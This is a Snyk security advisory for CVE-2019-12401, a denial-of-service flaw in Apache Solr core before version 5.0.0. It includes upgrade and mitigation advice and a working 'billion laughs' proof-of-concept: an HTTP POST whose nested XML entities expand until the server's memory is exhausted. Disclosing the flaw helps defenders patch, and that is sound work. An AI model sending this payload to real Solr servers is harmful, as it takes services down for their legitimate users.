Denial of Service (DoS) Affecting org.apache.solr:solr-core package, versions [,5.0.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.33% (71st percentile)

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  • Snyk IDSNYK-JAVA-ORGAPACHESOLR-3107573
  • published8 Nov 2022
  • disclosed24 May 2022
  • creditMatei "Mal" Badanoiu

Introduced: 24 May 2022

CVE-2019-12401  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade org.apache.solr:solr-core to version 5.0.0 or higher.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Denial of Service (DoS) via the update handler. Exploiting this vulnerability is possible by leveraging XML DOCTYPE and ENTITY type elements when the attacker can create a pattern that will expand while the server parses the XML.

Mitigation

Ensure your network settings are configured so that only trusted traffic is allowed to post documents to the running Solr instances.

PoC

POST /solr/collection1/update?wt=json HTTP/1.1
Host: <TARGET_IP>:8983

<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<add>
<doc>
<field name="id">&lol9;</field>
<field name="title">change.me</field>
</doc>
</add>

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

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